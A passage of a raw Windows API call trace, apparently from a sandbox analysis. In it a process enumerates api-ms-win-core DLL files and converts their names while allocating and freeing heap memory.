Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x115c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x115c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.458] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.458] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x115c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x115c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x115c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.459] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.459] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x115c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.460] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x115c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x115c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0169.461] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.461] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.462] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x115c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0169.462] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.462] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, 